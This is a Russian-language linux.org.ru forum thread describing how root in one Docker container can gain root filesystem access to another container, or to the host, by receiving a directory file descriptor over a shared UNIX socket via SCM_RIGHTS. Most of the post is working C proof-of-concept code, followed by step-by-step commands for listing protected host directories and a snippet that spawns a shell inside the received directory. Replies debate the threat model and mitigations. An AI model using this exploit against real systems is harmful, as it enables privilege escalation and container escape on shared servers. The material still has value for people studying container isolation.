LINUX.ORG.RU

Дырявый докер

 ,


0

2

TLDR: скопрометированный не-рут может стать рутом, если ему поможет скомпрометированный рут из другого контейнера.

Возможно это баян и ещё более возможно всем пофиг, но при наличии двух контейнеров, могущих общаться через UNIX-сокет (который через файлы типа «socket») они могут «делиться» друг с другом рут-правами (и другими). Общение через UNIX-сокет вполне может быть заложено штатно (например, nginx + php-fpm в разных контейнерах, связанные через локальный сокет), либо легко делается самостоятельно, если у двух контейнеров есть общий volume (в нём один может создать сокет а второй - подключиться к нему). На самом деле, в случае с volume всё может оказаться проще - один создаст suid-root бинарник а второй запустит, но кто-то может поставить туда nosuid/noexec и думать что этого достаточно - но нет.

Как поделиться правами: есть такая штука как SCM_RIGHTS, с помощью неё можно слать через сокет файловые дескрипторы. Допустим у нас есть контейнер A, в котором запущен с ограниченными правами злонамеренный, скомпрометированный либо просто принимающий внешние команды в роли демки (с расчётом на «он никуда не вылезет») софт. И есть контейнер B, в котором злонамеренный софт как-то смог получить рут-права. Непривилегированный процесс в контейнере A делает open(«/»), шлёт через сокет полученный файловый дескриптор привилегированному процессу в контейнере B, после чего привилегированный процесс из контейнера B через функции openat() и подобные получает полный рут-доступ к файловой системе контейнера A.

У меня было подозрение, что, оказавшись в не своём контейнере, файловый дескриптор чужой файловой системы позволит ещё как-то поразвлекаться, но сходу не прокатило. Например, могло оказаться, что к нему в новом контейнере бы применилось пространство монтирования нового контейнера и перестала бы работать контейнериация файловой системы старого, но походу нет.

★★★★★

Последнее исправление: firkax (всего исправлений: 1)

Исходник для проверки теорий на этот счёт

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <dirent.h>

static int send_fd(int s, int fd) {
  struct iovec iov = {.iov_base = "", .iov_len = 1};
  union {
    char buf[CMSG_SPACE(sizeof(fd))];
    struct cmsghdr align;
  } u;
  struct msghdr msg = {.msg_iov = &iov,
                       .msg_iovlen = 1,
                       .msg_control = u.buf,
                       .msg_controllen = sizeof(u.buf)};

  struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
  *cmsg = (struct cmsghdr){.cmsg_level = SOL_SOCKET,
                           .cmsg_type = SCM_RIGHTS,
                           .cmsg_len = CMSG_LEN(sizeof(fd))};

  bcopy(&fd, CMSG_DATA(cmsg), sizeof(fd));
  return sendmsg(s, &msg, 0);
}

static int recv_fd(int s) {
  int fd;
  char b0[1];
  struct iovec iov;
  struct msghdr msg;
  union {
    char buf[CMSG_SPACE(sizeof(fd))];
    struct cmsghdr align;
  } u;
  struct cmsghdr *cmsg;
  
  bzero(&msg, sizeof(msg));
  iov.iov_base = b0; iov.iov_len = 1;
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_control = u.buf;
  msg.msg_controllen = sizeof(u.buf);
  
  if(recvmsg(s, &msg, 0)<0) { fprintf(stderr, "recvmsg() error %d (%s)\n", errno, strerror(errno)); return -1; }
  if(msg.msg_controllen!=sizeof(u.buf)) { fprintf(stderr, "wrong recv\n"); return -1; }

  if(!(cmsg = CMSG_FIRSTHDR(&msg))) { fprintf(stderr, "wrong recv 2\n"); return -1; }

  if(cmsg->cmsg_level!=SOL_SOCKET || cmsg->cmsg_type!=SCM_RIGHTS || cmsg->cmsg_len!=CMSG_LEN(sizeof(fd)))  { fprintf(stderr, "wrong recv 2\n"); return -1; }

  bcopy(CMSG_DATA(cmsg), &fd, sizeof(fd));
  return fd;
}

static int do_listen(char const * spath, char const * fpath) {
  int lfd, afd, fd;
  struct sockaddr_un sa;
  struct stat sb;
  bzero(&sa, sizeof(sa));
  sa.sun_family = AF_UNIX;
  strncpy(sa.sun_path,spath,sizeof(sa.sun_path)-1);
  if(lstat(spath,&sb)>=0 && S_ISSOCK(sb.st_mode)) unlink(spath);
  if((lfd = socket(PF_UNIX, SOCK_STREAM, 0))<0) { fprintf(stderr, "socket() error %d (%s)\n", errno, strerror(errno)); return -1; }
  if(bind(lfd, (struct sockaddr*)&sa, sizeof(sa))<0) { fprintf(stderr, "bind() error %d (%s)\n", errno, strerror(errno)); return -1; }
  if(listen(lfd, 1)<0) { fprintf(stderr, "listen() error %d (%s)\n", errno, strerror(errno)); return -1; }
  
  if((fd = open(fpath,O_RDONLY))<0) { fprintf(stderr, "open() error %d (%s)\n", errno, strerror(errno)); return -1; }
  
  while(1) {
    if((afd = accept(lfd, NULL, NULL))<0) { fprintf(stderr, "accept() error %d (%s)\n", errno, strerror(errno)); sleep(1); continue; }
    if(send_fd(afd, fd)<0) fprintf(stderr, "send_fd() error %d (%s)\n", errno, strerror(errno));
    sleep(1);
    close(afd);
  }
}

static int do_connect(char const * spath) {
  int fd;
  struct sockaddr_un sa;
  bzero(&sa, sizeof(sa));
  sa.sun_family = AF_UNIX;
  strcpy(sa.sun_path,spath);
  if((fd = socket(PF_UNIX, SOCK_STREAM, 0))<0) { fprintf(stderr, "socket() error %d (%s)\n", errno, strerror(errno)); return -1; }
  if(connect(fd, (struct sockaddr*)&sa, sizeof(sa))<0) { fprintf(stderr, "connect() error %d (%s)\n", errno, strerror(errno)); return -1; }
  return fd;
}

static int do_read(int fd) {
  char buf[1024];
  int l;
  while((l=read(fd,buf,sizeof(buf)))>0) write(1,buf,l);
  if(l<0) { fprintf(stderr, "read error %d (%s)\n", errno, strerror(errno)); return -1; }
  return 0;
}

static int do_ls(int fd) {
  DIR * dp;
  struct dirent * de;
  if(!(dp=fdopendir(fd))) { fprintf(stderr, "fdopendir error %d (%s)\n", errno, strerror(errno)); return -1; }
  while(errno=0,de=readdir(dp)) {
    printf("%s\n", de->d_name);
  }
  if(errno) { fprintf(stderr, "readdir error %d (%s)\n", errno, strerror(errno)); return -1; }
  return 0;
}

static int do_lsp(int fd) {
  DIR * dp;
  struct dirent * de;
  if((fd=openat(fd,"..",O_RDONLY))<0) { fprintf(stderr, "open error %d (%s)\n", errno, strerror(errno)); return -1; }
  if(!(dp=fdopendir(fd))) { fprintf(stderr, "fdopendir error %d (%s)\n", errno, strerror(errno)); return -1; }
  while(errno=0,de=readdir(dp)) {
    printf("%s\n", de->d_name);
  }
  if(errno) { fprintf(stderr, "readdir error %d (%s)\n", errno, strerror(errno)); return -1; }
  return 0;
}


int main(int argc, char * * argv) {
  int fd, rfd;
  if(argc==4 && !strcmp(argv[1],"listen")) return do_listen(argv[2],argv[3]);
  if(argc!=3 || !strcmp(argv[1],"listen")) return -1;
  if((fd = do_connect(argv[2]))<0) return -1;
  if((rfd = recv_fd(fd))<0) return -1;
  fprintf(stderr, "rfd = %d\n", rfd);
  if(!strcmp(argv[1],"read")) do_read(rfd);
  if(!strcmp(argv[1],"ls")) do_ls(rfd);
  if(!strcmp(argv[1],"lsp")) do_lsp(rfd);
  return 0;
}
firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)

ЕМНИП, штука в докере априори имеет рутовый доступ к хосту. Докер не предназначен для защиты хоста.

izzholtik ★★★
()
Ответ на: комментарий от izzholtik

Эм, нет, рутового доступа к хосту там по замыслу не должно быть, и тут он тоже не получился.

Хотя, если кто-то сделает связку «нерут снаружи + рут в докере», общающуюся через локальный сокет, то рут из докера может просочиться и наружу по этой технологии, да.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)

А авторы докера что говорят? Или кто там должен реализовывать защиту от этого, мб это и в ведре дыра.

Legioner ★★★★★
()

как я понимаю руты в докере это один и тот же юзер на хосте, не рут. Так что не прокатило. Но уже были кязвимости которые позволяли из лимитированного неймспейса что-то повысить т.к какие-то части ядра брали контейнерные уиды за хостовые

mittorn ★★★★★
()
Ответ на: комментарий от Legioner

А авторы докера что говорят?

Я не изучал это вопрос, никому ничё не писал, просто утром пришла в голову идея, накидал по-быстрому «PoC», расстроился что не вышло изначально задуманное (надеялся сбежать из контейнера), но поскольку всё-таки некоторая эскалация прав получилась - написал тут.

Повторю:

Возможно это баян и ещё более возможно всем пофиг

------

Или кто там должен реализовывать защиту от этого, мб это и в ведре дыра.

Ну, на самом деле докер это обёртка вокруг сисколла unshare(), но если б писал про него - кликбейтный заголовок не получился бы. А так да, это особенности работы ядра, но в ядре вроде как никто не гарантировал обратное.

Я бы в ядро добавил опцию запрета передачи SCM_RIGHTS между разными unshare-контекстами.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от mittorn

Я ж дал исходник для тестов. Проверь:

Создай на хосте рутом:

mkdir -m 111 /protected
mkdir -m 555 /protected/visible

Попробуй не-рутом на хосте сделать

ls /protected
ls /protected/visible

Увидишь - первая команда выдаст ошибку нет доступа. Теперь запускаем на хосте (без рута)

./a.out listen {путь-к-сокету} /protected/visible

В контейнере рутом

./a.out lsp {путь-к-сокету}
покажет содержимое /protected с хоста

{путь-к-сокету} должен быть проброшен в контейнер любым из способов

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от firkax

Конкретно докера у меня нет, а создавать контейнеры через unshare сейчас не сильно хочется

mittorn ★★★★★
()
Ответ на: комментарий от firkax
  if(!strcmp(argv[1],"sh")) {
    if(fchdir(rfd)<0) { fprintf(stderr, "fchdir() error %d (%s)\n", errno, strerror(errno)); return -1; }
    system("/bin/sh");
  }

как же я сразу не догадался - так удобнее

firkax ★★★★★
() автор топика

Я не особо думал над деталями, но на скока я понял, в твоей модели атаки оба контейнера скомпрометированы? Тогда при чем тут докер?

seiken ★★★★★
()
Ответ на: комментарий от seiken

При том, что степень компрометации может неожиданно возрасти. Чужеродный процесс без рут-прав часто не считается компрометацией вообще (это штатная ситуация в многопользовательской системе, где админ и юзер - разные люди), точно так же может не считаться компрометацией рут, но в контейнере. А тут неожиданно из этой комбинации появляется рут там где его не должно было быть.

Вот представь такую ситуацию: у тебя есть сервер (ты там рут), на нём ты создал аккаунты каких-то пользователей (не руты), пусть это будут «клиенты». Одному из клиентов ты сделал докер-контейнер (сам настроил и запустил, или там прослойка какая-то безопасная - прямой доступ к докер-сокету ему не даёшь), сделав между контейнером и хостовой фс некоторую шару с noexec,nosuid. Внутри контейнера у клиента есть root, но это же контейнеризованный root а не хостовый - всё норм. Ну так вот, клиент может в такой конфигурации легко получить рут-доступ к хостовой фс (не только к noexec,nosuid шаре), ну а дальше тривиально получается и рут-процесс вне контейнера.

Кстати, недавно где-то видел про создание user namespaces, доступное обычному юзеру, возможно там можно то же самое провернуть но вообще без предварительно имевшихся рут-прав (лень искать).

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 4)
Ответ на: комментарий от firkax

Докер не рассчитан на безопасность, а юниксовый рут - это атавизм. По идее можно конфигурировать контейнеры с seLinux, хотя я сам не пробовал.

seiken ★★★★★
()
Ответ на: комментарий от seiken

Докер не рассчитан на безопасность

Ну, вобщем-то я не против такой формулировки (и вообще не пользуюсь им). Но повсеместно он используется в такой роли.

а юниксовый рут - это атавизм

Нет.

По идее можно конфигурировать контейнеры с seLinux, хотя я сам не пробовал.

Разумеется, дыры можно при желании заткнуть. И даже несколькими способами.

firkax ★★★★★
() автор топика
Ответ на: комментарий от mittorn

как я понимаю руты в докере это один и тот же юзер на хосте, не рут

Есть варианты, зависит от настроек.

anonymous
()
Ответ на: комментарий от anonymous

Где по-быстрому настроить (или проверить текущую настройку) чтобы оно было «как не рут»? На полностью дефолтной установке.

firkax ★★★★★
() автор топика
Ответ на: комментарий от firkax

Но повсеместно он используется в такой роли.

Возможно, где-то это и так, но в основном он нацелен на решение проблем CI/CD. А там безопасность только часть уравнения.

seiken ★★★★★
()

скопрометированный не-рут может стать рутом, если ему поможет скомпрометированный рут из другого контейнера.

А нескомпрометированый /bin/sh может стать рутовым, если запустит сетуидный /bin/bash.

LamerOk ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.